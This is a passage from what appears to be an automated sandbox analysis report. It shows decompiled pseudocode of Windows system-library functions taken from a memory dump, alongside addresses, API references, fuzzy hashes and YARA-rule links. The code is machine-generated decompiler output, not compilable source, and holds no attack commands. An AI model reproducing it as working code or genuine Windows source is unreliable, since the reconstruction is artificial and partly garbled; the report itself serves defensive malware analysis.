				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E1E3ED130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E1E3DD000(0x80);
						 *((intOrPtr*)(_t114 - 0x18)) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *((intOrPtr*)(_t114 - 0x84));
						_t110 =  *((intOrPtr*)(_t114 - 0x84));
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						E1E3DF3E0(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t111 + _t108;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *((intOrPtr*)(_t114 - 0x5c)) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											E1E3EDEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E1E3DB280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E1E3DB7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E1E3DE2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E1E3DA890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x1e39b171
0x1e39b171
0x1e39b171
0x1e39b171
0x1e39b171
0x1e39b176
0x1e39b17b
0x1e39b180
0x1e39b186
0x1e39b18f
0x1e39b198
0x1e39b1a4
0x1e39b1aa
0x1e3f4802
0x1e3f4802
0x1e3f4805
0x1e3f480c
0x1e3f480e
0x1e39b1d1
0x1e39b1d3
0x1e39b1de
0x1e39b1de
0x1e3f4817
0x1e3f481e
0x1e3f4820
0x1e3f4822
0x1e3f4822
0x1e3f4824
0x1e3f4824
0x1e3f482a
0x00000000
0x00000000
0x1e3f4835
0x1e3f483a
0x1e3f483d
0x1e3f483f
0x1e3f4842
0x1e3f4842
0x1e3f4842
0x1e3f4846
0x1e3f484c
0x1e3f484e
0x1e3f4851
0x1e3f4851
0x1e3f4853
0x1e3f4854
0x1e3f4854
0x1e3f4858
0x1e3f485a
0x1e3f485a
0x1e3f485d
0x1e3f485f
0x1e3f4861
0x1e3f4861
0x1e3f4866
0x1e3f486b
0x1e3f486e
0x1e3f4871
0x1e3f4876
0x1e3f4876
0x1e3f4878
0x1e3f487b
0x1e3f4884
0x1e3f4884
0x00000000
0x1e3f487d
0x1e3f487d
0x1e3f4882
0x1e3f4889
0x1e3f4889
0x1e3f488f
0x1e3f4891
0x1e3f48e0
0x1e3f48e2
0x1e3f48e4
0x1e3f48e4
0x1e3f48e7
0x1e3f48e7
0x1e3f48ed
0x1e3f48f4
0x1e3f48f6
0x1e3f4951
0x1e3f4951
0x1e3f4953
0x1e3f4953
0x1e3f4956
0x1e3f4956
0x1e3f4958
0x1e3f4959
0x1e3f4959
0x1e3f495d
0x1e3f495d
0x1e3f495f
0x1e3f495f
0x1e3f4965
0x1e3f4969
0x1e3f49ba
0x1e3f49ba
0x1e3f49c1
0x1e3f49c5
0x1e3f49cc
0x1e3f49d4
0x1e3f49d7
0x1e3f49da
0x1e3f49e4
0x1e3f49e5
0x1e3f49f3
0x1e3f4a02
0x00000000
0x1e3f4a02
0x1e3f4972
0x1e3f4974
0x00000000
0x00000000
0x1e3f4976
0x1e3f4979
0x1e3f4982
0x1e3f4983
0x1e3f4984
0x1e3f498b
0x1e3f498d
0x1e3f4991
0x1e3f4993
0x1e3f4999
0x1e3f499d
0x1e3f49a2
0x1e3f49a2
0x1e3f49a2
0x1e3f4999
0x1e3f49ac
0x00000000
0x1e3f49b3
0x1e3f48f8
0x1e3f48fe
0x00000000
0x00000000
0x00000000
0x1e3f48fe
0x1e3f4895
0x1e3f489c
0x1e3f48ad
0x1e3f48b2
0x1e3f48b5
0x1e3f48b7
0x1e3f48ba
0x1e3f48bc
0x1e3f48c6
0x1e3f48c6
0x1e3f48cb
0x1e3f48d1
0x1e3f48d4
0x1e3f48d8
0x1e3f48d8
0x00000000
0x1e3f48d8
0x1e3f48be
0x1e3f48c0
0x00000000
0x00000000
0x1e3f48c2
0x00000000
0x00000000
0x00000000
0x1e3f48c4
0x00000000
0x1e3f4882
0x1e3f487b
0x1e3f4904
0x1e3f4906
0x00000000
0x00000000
0x1e3f4908
0x1e3f490e
0x00000000
0x00000000
0x1e3f4910
0x1e3f4917
0x1e3f4917
0x00000000
0x1e3f4917
0x1e39b1ba
0x1e3f47f9
0x1e3f47fc
0x00000000
0x00000000
0x00000000
0x1e3f47fc
0x1e39b1c0
0x1e39b1c0
0x1e39b1c3
0x1e39b1cb
0x00000000
0x00000000
0x00000000

APIs

_vswprintf_s.LIBCMT ref: 1E3F48AD

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: _vswprintf_s
String ID:
API String ID: 677850445-0
Opcode ID: 83bfe9742f3f3a60596b33682cd0f0c8c6b884c609ada647504836cea9238ce6
Instruction ID: 6f5b51a34d9b3003a078bc4e8b2c3217e3fd2e0e362b3c36a0e502517794af90
Opcode Fuzzy Hash: 83bfe9742f3f3a60596b33682cd0f0c8c6b884c609ada647504836cea9238ce6
Instruction Fuzzy Hash: DB51F276E1029ACFDB25CF78C844BAEBBF1BF00710F1043ADD859AB285D77549858B92

Uniqueness

Uniqueness Score: -1.00%

Function 1E3BB944, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E1E3BB944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				char* _t73;
				intOrPtr _t77;
				intOrPtr _t78;
				signed int _t82;
				intOrPtr _t83;
				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0x1e48d360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t5 = _t112 + 0xc; // 0x575651ff
				_t105 =  *_t5;
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t50 = _t112 + 4; // 0x5de58b5b
					_t60 =  *__ecx |  *_t50;
					if(( *__ecx |  *_t50) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(E1E3B7D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E1E468CD6(_t112);
						}
						_push(0);
						_t52 = _t112 + 0x10; // 0x778df98b
						_push( *_t52);
						_t60 = E1E3D9E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return E1E3DB640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t8 = _t112 + 8; // 0x8b000cc2
				_t67 =  *_t8;
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = E1E3DCE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t88;
						_v32 = _t108;
						if(E1E3B7D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							E1E468F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_t48 = _t112 + 0x10; // 0x778df98b
						_push( *_t48);
						_t60 = E1E3DAF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_t77 =  *0x1e488628; // 0x0
								_v68 = _t77;
								_t78 =  *0x1e48862c; // 0x0
								_v64 = _t78;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_t83 =  *0x1e488628; // 0x0
							_t116 =  *0x1e48862c; // 0x0
							_v76 = _t116;
							_t117 = _v68;
						} while (_t117 != _t83 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}

0x1e3bb94c
0x1e3bb956
0x1e3bb95c
0x1e3bb95e
0x1e3bb964
0x1e3bb969
0x1e3bb96d
0x1e3bb96d
0x1e3bb970
0x1e3bb974
0x1e3bb97a
0x1e3bbadf
0x1e3bbadf
0x1e3bbae2
0x1e3bbae4
0x1e3bbae6
0x1e3bbaf0
0x1e402cb8
0x1e3bbaf6
0x1e3bbaf6
0x1e3bbaf6
0x1e3bbafd
0x1e3bbb1f
0x1e3bbb1f
0x1e3bbaff
0x1e3bbb00
0x1e3bbb00
0x1e3bbb03
0x1e3bbb03
0x1e3bbacb
0x1e3bbacf
0x1e3bbad0
0x1e3bbad1
0x1e3bbadc
0x1e3bbadc
0x1e3bb980
0x1e3bb980
0x1e3bb988
0x1e3bb98b
0x1e3bb98d
0x1e3bb990
0x1e3bb993
0x1e3bb999
0x1e3bb99b
0x1e3bb9a1
0x1e3bb9a5
0x1e3bb9aa
0x1e3bb9b0
0x1e3bb9bb
0x1e3bb9c0
0x1e3bb9c3
0x1e3bb9ca
0x1e3bb9cc
0x1e3bb9cf
0x1e3bb9d3
0x1e3bb9d7
0x1e3bba94
0x1e3bba94
0x1e3bba98
0x1e3bbaa3
0x1e402ccb
0x1e3bbaa9
0x1e3bbaa9
0x1e3bbaa9
0x1e3bbab1
0x1e402cd5
0x1e402cdd
0x1e402cdd
0x1e3bbabb
0x1e3bbabc
0x1e3bbac2
0x1e3bbac3
0x1e3bbac3
0x1e3bbac6
0x00000000
0x1e3bb9dd
0x1e3bb9dd
0x1e3bb9e7
0x1e3bb9e7
0x1e3bb9ec
0x1e3bb9ec
0x1e3bb9f1
0x1e3bb9f5
0x1e3bb9fa
0x1e3bba00
0x1e3bba0c
0x1e3bba10
0x1e3bba10
0x1e3bba12
0x1e3bba18
0x00000000
0x00000000
0x1e3bbb26
0x1e3bbb26
0x1e3bba1e
0x1e3bba1e
0x1e3bba23
0x1e3bba25
0x1e3bba2c
0x1e3bba30
0x1e3bba35
0x1e3bba35
0x1e3bba41
0x1e3bba46
0x1e3bba4c
0x1e3bba50
0x1e3bba54
0x1e3bba6a
0x1e3bba6e
0x1e3bba70
0x1e3bba74
0x1e3bba78
0x1e3bba7a
0x1e3bba7c
0x1e3bba8e
0x1e3bba90
0x1e3bba92
0x1e3bbb14
0x1e3bbb14
0x1e3bbb16
0x1e3bbb16
0x00000000
0x1e3bba7c
0x1e3bbb0a
0x1e3bbb0d
0x00000000
0x00000000
0x00000000
0x1e3bbb0f

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1E3BB9A5

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: c93c83e8667eb3322ca8bfcff1a11c0aa3876bacc556ce0b36d1c2a00b088262
Instruction ID: 99dfb868fdcff99fd4a950e42aa1e4af562aa394dd9c7ccd41b7124375543172
Opcode Fuzzy Hash: c93c83e8667eb3322ca8bfcff1a11c0aa3876bacc556ce0b36d1c2a00b088262
Instruction Fuzzy Hash: A4514A71A18341CFC328CF29C48491ABBEAFB88750F544A6EF59697754DB70E844CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1E443D40, Relevance: 1.6, APIs: 1, Instructions: 98
timeCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E1E443D40(intOrPtr __ecx, char* __edx) {
				signed int _v8;
				char* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				char _v29;
				intOrPtr* _v32;
				char _v36;
				char _v37;
				void* __ebx;
				void* __edi;
				void* __esi;
				char* _t34;
				intOrPtr* _t37;
				intOrPtr* _t42;
				intOrPtr* _t47;
				intOrPtr* _t48;
				intOrPtr* _t49;
				char _t51;
				void* _t52;
				intOrPtr* _t53;
				char* _t55;
				char _t59;
				char* _t61;
				intOrPtr* _t64;
				void* _t65;
				char* _t67;
				void* _t68;
				signed int _t70;

				_t62 = __edx;
				_t72 = (_t70 & 0xfffffff8) - 0x1c;
				_v8 =  *0x1e48d360 ^ (_t70 & 0xfffffff8) - 0x0000001c;
				_t34 =  &_v28;
				_v20 = __ecx;
				_t67 = __edx;
				_v24 = _t34;
				_t51 = 0;
				_v12 = __edx;
				_v29 = 0;
				_v28 = _t34;
				E1E3B2280(_t34, 0x1e488a6c);
				_t64 =  *0x1e485768; // 0x77f05768
				if(_t64 != 0x1e485768) {
					while(1) {
						_t8 = _t64 + 8; // 0x77f05770
						_t42 = _t8;
						_t53 = _t64;
						 *_t42 =  *_t42 + 1;
						_v16 = _t42;
						E1E3AFFB0(_t53, _t64, 0x1e488a6c);
						 *0x1e48b1e0(_v24, _t67);
						if( *((intOrPtr*)( *((intOrPtr*)(_t64 + 0xc))))() != 0) {
							_v37 = 1;
						}
						E1E3B2280(_t45, 0x1e488a6c);
						_t47 = _v28;
						_t64 =  *_t64;
						 *_t47 =  *_t47 - 1;
						if( *_t47 != 0) {
							goto L8;
						}
						if( *((intOrPtr*)(_t64 + 4)) != _t53) {
							L10:
							_push(3);
							asm("int 0x29");
						} else {
							_t48 =  *((intOrPtr*)(_t53 + 4));
							if( *_t48 != _t53) {
								goto L10;
							} else {
								 *_t48 = _t64;
								_t61 =  &_v36;
								 *((intOrPtr*)(_t64 + 4)) = _t48;
								_t49 = _v32;
								if( *_t49 != _t61) {
									goto L10;
								} else {
									 *_t53 = _t61;
									 *((intOrPtr*)(_t53 + 4)) = _t49;
									 *_t49 = _t53;
									_v32 = _t53;
									goto L8;
								}
							}
						}
						L11:
						_t51 = _v29;
						goto L12;
						L8:
						if(_t64 != 0x1e485768) {
							_t67 = _v20;
							continue;
						}
						goto L11;
					}
				}
				L12:
				E1E3AFFB0(_t51, _t64, 0x1e488a6c);
				while(1) {
					_t37 = _v28;
					_t55 =  &_v28;
					if(_t37 == _t55) {
						break;
					}
					if( *((intOrPtr*)(_t37 + 4)) != _t55) {
						goto L10;
					} else {
						_t59 =  *_t37;
						if( *((intOrPtr*)(_t59 + 4)) != _t37) {
							goto L10;
						} else {
							_t62 =  &_v28;
							_v28 = _t59;
							 *((intOrPtr*)(_t59 + 4)) =  &_v28;
							L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t37);
							continue;
						}
					}
					L18:
				}
				_pop(_t65);
				_pop(_t68);
				_pop(_t52);
				return E1E3DB640(_t51, _t52, _v8 ^ _t72, _t62, _t65, _t68);
				goto L18;
			}

0x1e443d40
0x1e443d48
0x1e443d52
0x1e443d59
0x1e443d5d
0x1e443d61
0x1e443d63
0x1e443d67
0x1e443d69
0x1e443d72
0x1e443d76
0x1e443d7a
0x1e443d7f
0x1e443d8b
0x1e443d91
0x1e443d91
0x1e443d91
0x1e443d94
0x1e443d96
0x1e443d9d
0x1e443da1
0x1e443db0
0x1e443dba
0x1e443dbc
0x1e443dbc
0x1e443dc6
0x1e443dcb
0x1e443dcf
0x1e443dd1
0x1e443dd4
0x00000000
0x00000000
0x1e443dd9
0x1e443e0c
0x1e443e0c
0x1e443e0f
0x1e443ddb
0x1e443ddb
0x1e443de0
0x00000000
0x1e443de2
0x1e443de2
0x1e443de4
0x1e443de8
0x1e443deb
0x1e443df1
0x00000000
0x1e443df3
0x1e443df3
0x1e443df5
0x1e443df8
0x1e443dfa
0x00000000
0x1e443dfa
0x1e443df1
0x1e443de0
0x1e443e11
0x1e443e11
0x00000000
0x1e443dfe
0x1e443e04
0x1e443e06
0x00000000
0x1e443e06
0x00000000
0x1e443e04
0x1e443d91
0x1e443e15
0x1e443e1a
0x1e443e1f
0x1e443e1f
0x1e443e23
0x1e443e29
0x00000000
0x00000000
0x1e443e2e
0x00000000
0x1e443e30
0x1e443e30
0x1e443e35
0x00000000
0x1e443e37
0x1e443e3e
0x1e443e42
0x1e443e48
0x1e443e4e
0x00000000
0x1e443e4e
0x1e443e35
0x00000000
0x1e443e2e
0x1e443e5b
0x1e443e5c
0x1e443e5d
0x1e443e68
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 1E443DB0

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 2492172c81d05d2205c4c9ac1a8d19ce5f93ece0af5fbb4a6bc17db7551e3cbd
Instruction ID: 645549e2ad252263d0832b7d00418d2d0c30c0c1b4bee0fa26fda97a6c8fd79e
Opcode Fuzzy Hash: 2492172c81d05d2205c4c9ac1a8d19ce5f93ece0af5fbb4a6bc17db7551e3cbd
Instruction Fuzzy Hash: AB319AB160A342CFD700DF54D88084ABBE2FF89A00F658A6EE4958B744D730ED04CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D4A2C, Relevance: 1.6, APIs: 1, Instructions: 92
timeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E1E3D4A2C(signed int* __ecx, intOrPtr* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int* _v12;
				char _v13;
				signed int _v16;
				char _v21;
				signed int* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				signed int* _t32;
				signed int* _t41;
				signed int _t42;
				void* _t43;
				intOrPtr* _t51;
				void* _t52;
				signed int _t53;
				signed int _t58;
				void* _t59;
				signed int _t60;
				signed int _t62;

				_t49 = __edx;
				_t62 = (_t60 & 0xfffffff8) - 0xc;
				_t26 =  *0x1e48d360 ^ _t62;
				_v8 =  *0x1e48d360 ^ _t62;
				_t41 = __ecx;
				_t51 = __edx;
				_v12 = __ecx;
				if(_a4 == 0) {
					if(_a8 != 0) {
						goto L1;
					}
					_v13 = 1;
					E1E3B2280(_t26, 0x1e488608);
					_t58 =  *_t41;
					if(_t58 == 0) {
						L11:
						E1E3AFFB0(_t41, _t51, 0x1e488608);
						L2:
						 *0x1e48b1e0(_a4, _a8);
						_t42 =  *_t51();
						if(_t42 == 0) {
							_t29 = 0;
							L5:
							_pop(_t52);
							_pop(_t59);
							_pop(_t43);
							return E1E3DB640(_t29, _t43, _v16 ^ _t62, _t49, _t52, _t59);
						}
						 *((intOrPtr*)(_t42 + 0x34)) = 1;
						if(_v21 != 0) {
							_t53 = 0;
							E1E3B2280(_t28, 0x1e488608);
							_t32 = _v24;
							if( *_t32 == _t58) {
								 *_t32 = _t42;
								 *((intOrPtr*)(_t42 + 0x34)) =  *((intOrPtr*)(_t42 + 0x34)) + 1;
								if(_t58 != 0) {
									 *(_t58 + 0x34) =  *(_t58 + 0x34) - 1;
									asm("sbb edi, edi");
									_t53 =  !( ~( *(_t58 + 0x34))) & _t58;
								}
							}
							E1E3AFFB0(_t42, _t53, 0x1e488608);
							if(_t53 != 0) {
								L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						_t29 = _t42;
						goto L5;
					}
					if( *((char*)(_t58 + 0x40)) != 0) {
						L10:
						 *(_t58 + 0x34) =  *(_t58 + 0x34) + 1;
						E1E3AFFB0(_t41, _t51, 0x1e488608);
						_t29 = _t58;
						goto L5;
					}
					_t49 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					if( *((intOrPtr*)(_t58 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
						goto L11;
					}
					goto L10;
				}
				L1:
				_v13 = 0;
				_t58 = 0;
				goto L2;
			}

0x1e3d4a2c
0x1e3d4a34
0x1e3d4a3c
0x1e3d4a3e
0x1e3d4a48
0x1e3d4a4b
0x1e3d4a4d
0x1e3d4a51
0x1e3d4a9c
0x00000000
0x00000000
0x1e3d4aa3
0x1e3d4aa8
0x1e3d4aad
0x1e3d4ab1
0x1e3d4ade
0x1e3d4ae3
0x1e3d4a5a
0x1e3d4a62
0x1e3d4a6a
0x1e3d4a6e
0x1e40f203
0x1e3d4a84
0x1e3d4a88
0x1e3d4a89
0x1e3d4a8a
0x1e3d4a95
0x1e3d4a95
0x1e3d4a79
0x1e3d4a80
0x1e3d4af2
0x1e3d4af4
0x1e3d4af9
0x1e3d4aff
0x1e3d4b01
0x1e3d4b03
0x1e3d4b08
0x1e40f20a
0x1e40f212
0x1e40f216
0x1e40f216
0x1e3d4b08
0x1e3d4b13
0x1e3d4b1a
0x1e40f229
0x1e40f229
0x1e3d4b1a
0x1e3d4a82
0x00000000
0x1e3d4a82
0x1e3d4ab7
0x1e3d4acd
0x1e3d4acd
0x1e3d4ad5
0x1e3d4ada
0x00000000
0x1e3d4ada
0x1e3d4ac2
0x1e3d4acb
0x00000000
0x00000000
0x00000000
0x1e3d4acb
0x1e3d4a53
0x1e3d4a53
0x1e3d4a58
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 1E3D4A62

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 00698a87700e7a27e69862839d6bc3860524a1890e8b11b1e2494433356a88c6
Instruction ID: 0fc3b352094ddf7f225c7a32e81068ffe3be55f8e7001cb7ceb2d644fec4bccc
Opcode Fuzzy Hash: 00698a87700e7a27e69862839d6bc3860524a1890e8b11b1e2494433356a88c6
Instruction Fuzzy Hash: 543102372053A19FC3219F54D980BDAB7E5FFC5710F814B2AE8565B640C770E848CB85

Uniqueness

Uniqueness Score: -1.00%

Function 1E3B0050, Relevance: 1.6, APIs: 1, Instructions: 81
timeCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E1E3B0050(void* __ecx) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t30;
				intOrPtr* _t31;
				signed int _t34;
				void* _t40;
				void* _t41;
				signed int _t44;
				intOrPtr _t47;
				signed int _t58;
				void* _t59;
				void* _t61;
				void* _t62;
				signed int _t64;

				_push(__ecx);
				_v8 =  *0x1e48d360 ^ _t64;
				_t61 = __ecx;
				_t2 = _t61 + 0x20; // 0x20
				E1E3C9ED0(_t2, 1, 0);
				_t52 =  *(_t61 + 0x8c);
				_t4 = _t61 + 0x8c; // 0x8c
				_t40 = _t4;
				do {
					_t44 = _t52;
